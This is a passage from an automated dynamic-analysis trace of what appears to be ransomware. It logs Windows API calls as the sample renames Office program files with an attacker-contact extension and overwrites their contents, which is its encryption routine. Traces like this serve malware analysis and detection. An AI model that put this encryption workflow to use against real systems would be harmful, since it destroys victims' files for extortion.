Size=0x10a) returned 0x7177718 [0165.549] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.549] WriteFile (in: hFile=0x6b0, lpBuffer=0x70e9588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e9588*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.549] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.549] WriteFile (in: hFile=0x6b0, lpBuffer=0x70f4987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4987*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.552] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.552] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.553] CloseHandle (hObject=0x6b0) returned 1 [0165.553] GetProcessHeap () returned 0x630000 [0165.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e9588 | out: hHeap=0x630000) returned 1 [0165.553] GetProcessHeap () returned 0x630000 [0165.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70de158 | out: hHeap=0x630000) returned 1 [0165.553] GetProcessHeap () returned 0x630000 [0165.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0165.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289f688a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e77b, dwReserved0=0x95c7496, dwReserved1=0x70de150, cFileName="PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0165.554] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0165.554] Sleep (dwMilliseconds=0x1) [0165.557] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.557] GetProcessHeap () returned 0x630000 [0165.557] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc8) returned 0x707d3d0 [0165.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0166.804] CloseHandle (hObject=0x640) returned 1 [0166.804] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0171.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0171.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0171.619] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0171.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0171.619] GetProcessHeap () returned 0x630000 [0171.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x743cca0 [0171.620] GetProcessHeap () returned 0x630000 [0171.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74480d0 [0171.620] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.620] ReadFile (in: hFile=0x640, lpBuffer=0x743cca0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743cca0*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.491] GetProcessHeap () returned 0x630000 [0180.491] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0180.491] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.492] WriteFile (in: hFile=0x640, lpBuffer=0x74480d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74480d0*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.492] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.492] WriteFile (in: hFile=0x640, lpBuffer=0x74534cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74534cf*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.493] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.493] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.493] CloseHandle (hObject=0x640) returned 1 [0180.493] GetProcessHeap () returned 0x630000 [0180.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74480d0 | out: hHeap=0x630000) returned 1 [0181.939] GetProcessHeap () returned 0x630000 [0181.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743cca0 | out: hHeap=0x630000) returned 1 [0181.940] GetProcessHeap () returned 0x630000 [0181.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0182.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3188dd5d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0x95c7496, dwReserved1=0x743cc98, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0182.535] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0182.535] Sleep (dwMilliseconds=0x1) [0182.547] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", len=0x3c | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS") returned 1 [0182.547] GetProcessHeap () returned 0x630000 [0182.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a5c) returned 0x707d3d0 [0182.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.619] CloseHandle (hObject=0x688) returned 1 [0182.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPSCSS~1.FIR")) returned 0x6d5280 [0182.620] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.620] GetProcessHeap () returned 0x630000 [0182.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0182.620] GetProcessHeap () returned 0x630000 [0182.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0182.620] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.620] ReadFile (in: hFile=0x688, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x673ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.634] GetProcessHeap () returned 0x630000 [0182.634] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0182.635] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.635] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x673ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.635] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.635] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.635] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.635] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.635] CloseHandle (hObject=0x688) returned 1 [0182.635] GetProcessHeap () returned 0x630000 [0182.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0182.635] GetProcessHeap () returned 0x630000 [0182.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0182.635] GetProcessHeap () returned 0x630000 [0182.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0182.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32cf140f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x95c7496, dwReserved1=0x695ec8, cFileName="SPS.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPSCSS~1.FIR")) returned 0x6d4e40 [0182.636] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0182.636] Sleep (dwMilliseconds=0x1) [0182.648] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK", len=0x4d | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK") returned 1 [0182.648] GetProcessHeap () returned 0x630000 [0182.648] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a50) returned 0x707d3d0 [0182.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.648] CloseHandle (hObject=0x688) returned 1 [0182.648] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.649] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~1.FIR")) returned 0x6d53c0 [0182.650] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.650] GetProcessHeap () returned 0x630000 [0182.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5168 [0182.650] GetProcessHeap () returned 0x630000 [0182.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4aa8 [0182.650] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.650] ReadFile (in: hFile=0x688, lpBuffer=0x6a5168, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5168*, lpNumberOfBytesRead=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.651] GetProcessHeap () returned 0x630000 [0182.651] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0182.652] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.652] WriteFile (in: hFile=0x688, lpBuffer=0x6a4aa8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4aa8*, lpNumberOfBytesWritten=0x673ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.652] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.652] WriteFile (in: hFile=0x688, lpBuffer=0x6a4b07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b07*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.652] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.652] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.652] CloseHandle (hObject=0x688) returned 1 [0182.652] GetProcessHeap () returned 0x630000 [0182.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4aa8 | out: hHeap=0x630000) returned 1 [0182.652] GetProcessHeap () returned 0x630000 [0182.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5168 | out: hHeap=0x630000) returned 1 [0182.652] GetProcessHeap () returned 0x630000 [0182.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0182.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32d17800, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x673fd20, dwReserved1=0x6a5168, cFileName="SKYPEFB_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~1.FIR")) returned 0x6d5480 [0182.653] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0182.653] Sleep (dwMilliseconds=0x1) [0182.670] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK", len=0x4d | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK") returned 1 [0182.670] GetProcessHeap () returned 0x630000 [0182.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a4c) returned 0x707d3d0 [0182.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.670] CloseHandle (hObject=0x688) returned 1 [0182.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 